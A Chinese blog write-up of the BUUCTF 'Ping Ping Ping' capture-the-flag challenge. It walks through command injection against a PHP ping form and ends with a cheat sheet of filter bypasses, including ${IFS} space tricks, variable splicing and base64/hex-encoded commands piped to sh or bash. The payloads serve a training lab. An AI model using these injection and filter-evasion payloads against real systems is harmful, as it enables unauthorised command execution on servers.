【BUUCTF】Ping Ping Ping

【BUUCTF】Ping Ping Ping (命令执行绕过总结)

题目来源

收录于:BUUCTF  GXYCTF2019

题目描述

img

提示较为明确,get方法传参127.0.0.1后结果如下

img

比较容易想到联合执行命令,先看有哪些文件

img

尝试直接读取flag.php

img

读取失败,对空格进行了过滤。

题解

以下内容参考文章:https://blog.csdn.net/vanarrow/article/details/108295481

对空格的绕过比较简单,在kali默认的shell中验证后得出,绕过可用以下方式

${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X

内联执行:将反引号内命令的返回值(即输出值)作为整条命令的输入值
例如当命令为:

cat ls

即cat读取当前目录下的所有文件

img

因此可以使用上面的绕过方法配合内联执行,例如:

cat$IFSls
cat$IFS$9ls

先读取一下index.php的源码

?ip=127.0.0.1;cat$IFS$9index.php

img

美化后代码如下

<?php

$ip = $_GET['ip'];

if (preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match)) {
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
die("fxck your symbol!"); //不能包含的字符:& / ? * < > " \ ( ) [ ] { } ASCII值0到20之间的字符
} else if (preg_match("/ /", $ip)) {
die("fxck your space!"); // 不能包含空格
} else if (preg_match("/bash/", $ip)) { //不能包含bash
die("fxck your bash!");
} else if (preg_match("/.f.l.a.g.*/", $ip)) { //flag这四个字母不能按顺序出现在字符串中
die("fxck your flag!");
}

$a = shell_exec("ping -c 4 " . $ip);
echo "

";
print_r($a);
echo "
";

?>

我们看到不能直接输入flag进行文件的读取,但是可以使用变量赋值的方式,例如:

?ip=127.0.0.1;X=g;cat$IFS$9fla$X.php

字符串fla和变量$X拼接形成flag,成功绕过,flag显示在页面源码中

img

以下payload也可行:

?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9ls //内联执行配合空格绕过

但以下payload不可行:

?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php

因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

此外也可以使用base64编码绕过。虽然过滤了bash,但是可以使用sh

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

总结

绕过空格

${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X

内联执行

cat ls

变量赋值

X=g;cat fla$X.php

base64编码绕过

echo Y2F0IGZsYWcucGhw|base64 -d|bash
echo Y2F0IGZsYWcucGhw|base64 -d|sh
echo Y2F0IGZsYWcucGhw|base64 -d

Hex编码绕过(前提:安装xxd)

echo 63617420666c61672e706870|xxd -r -p |bash
echo 63617420666c61672e706870|xxd -r -p |sh
echo 63617420666c61672e706870|xxd -r -p

其他方法

cat fl* //用*匹配任意
ca\t fla\g.php //反斜线绕过
cat fl''ag.php //两个单引号绕过
cat fl[a]g.php //用[]匹配
cp fla{g.php,G} //把flag.php复制为flaG
ca${21}t a.txt //{}中可以是任意数字

posted @ 2024-07-16 17:45  Mr_Soap  阅读(2361)  评论(0)    收藏  举报